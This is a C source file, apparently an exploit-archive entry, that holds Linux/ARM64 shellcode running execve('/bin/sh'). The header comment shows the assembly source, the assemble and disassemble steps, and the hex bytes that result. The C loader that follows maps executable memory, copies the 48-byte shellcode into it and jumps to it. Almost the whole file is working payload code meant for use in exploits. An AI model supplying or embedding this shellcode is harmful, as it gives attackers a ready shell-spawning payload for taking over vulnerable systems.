89 lines
No EOL
3 KiB
C
89 lines
No EOL
3 KiB
C
/*
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# Title: Linux/ARM64 - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (48 Bytes)
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# Date: 2019-06-30
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# Tested: Ubuntu 16.04 (aarch64)
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# Author: Ken Kitahara
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# Compilation: gcc -o loader loader.c
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ubuntu@ubuntu:~/works$ lsb_release -a
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No LSB modules are available.
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Distributor ID: Ubuntu
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Description: Ubuntu Xenial Xerus (development branch)
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Release: 16.04
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Codename: xenial
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ubuntu@ubuntu:~/works$ uname -a
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Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
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ubuntu@ubuntu:~/works$ cat execve2.s
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.section .text
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.global _start
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_start:
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// execve("/bin/sh", ["/bin/sh"], NULL)
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mov x1, #0x622F // x1 = 0x000000000000622F ("b/")
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movk x1, #0x6E69, lsl #16 // x1 = 0x000000006E69622F ("nib/")
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movk x1, #0x732F, lsl #32 // x1 = 0x0000732F6E69622F ("s/nib/")
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movk x1, #0x68, lsl #48 // x1 = 0x0068732F6E69622F ("hs/nib/")
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str x1, [sp, #-8]! // push x1
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mov x2, xzr // args[2] = x2 = NULL
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add x0, sp, x2 // args[0] = x0 = pointer to "/bin/sh\0"
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str x2, [sp, #-8]! // push x2
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str x0, [sp, #-8]! // push x0
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add x1, sp, x2 // args[1] = x1 = ["/bin/sh", NULL]
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mov x8, #221 // Systemcall Number = 221 (execve)
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svc #0x1337 // Invoke Systemcall
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ubuntu@ubuntu:~/works$ as -o execve2.o execve2.s && ld -o execve2 execve2.o
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ubuntu@ubuntu:~/works$ objdump -d ./execve2
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./execve2: file format elf64-littleaarch64
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Disassembly of section .text:
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0000000000400078 <_start>:
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400078: d28c45e1 mov x1, #0x622f // #25135
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40007c: f2adcd21 movk x1, #0x6e69, lsl #16
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400080: f2ce65e1 movk x1, #0x732f, lsl #32
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400084: f2e00d01 movk x1, #0x68, lsl #48
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400088: f81f8fe1 str x1, [sp,#-8]!
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40008c: aa1f03e2 mov x2, xzr
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400090: 8b2263e0 add x0, sp, x2
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400094: f81f8fe2 str x2, [sp,#-8]!
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400098: f81f8fe0 str x0, [sp,#-8]!
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40009c: 8b2263e1 add x1, sp, x2
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4000a0: d2801ba8 mov x8, #0xdd // #221
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4000a4: d40266e1 svc #0x1337
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ubuntu@ubuntu:~/works$ objcopy -O binary execve2 execve2.bin
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ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve2.bin && echo
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\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe2\x03\x1f\xaa\xe0\x63\x22\x8b\xe2\x8f\x1f\xf8\xe0\x8f\x1f\xf8\xe1\x63\x22\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4
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*/
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#include <stdio.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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int (*sc)();
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char shellcode[] =
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"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
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"\xe1\x8f\x1f\xf8\xe2\x03\x1f\xaa\xe0\x63\x22\x8b\xe2\x8f\x1f\xf8"
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"\xe0\x8f\x1f\xf8\xe1\x63\x22\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";
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int main(int argc, char **argv) {
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printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
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void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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exit(-1);
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}
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memcpy(ptr, shellcode, sizeof(shellcode));
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sc = ptr;
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sc();
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return 0;
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} |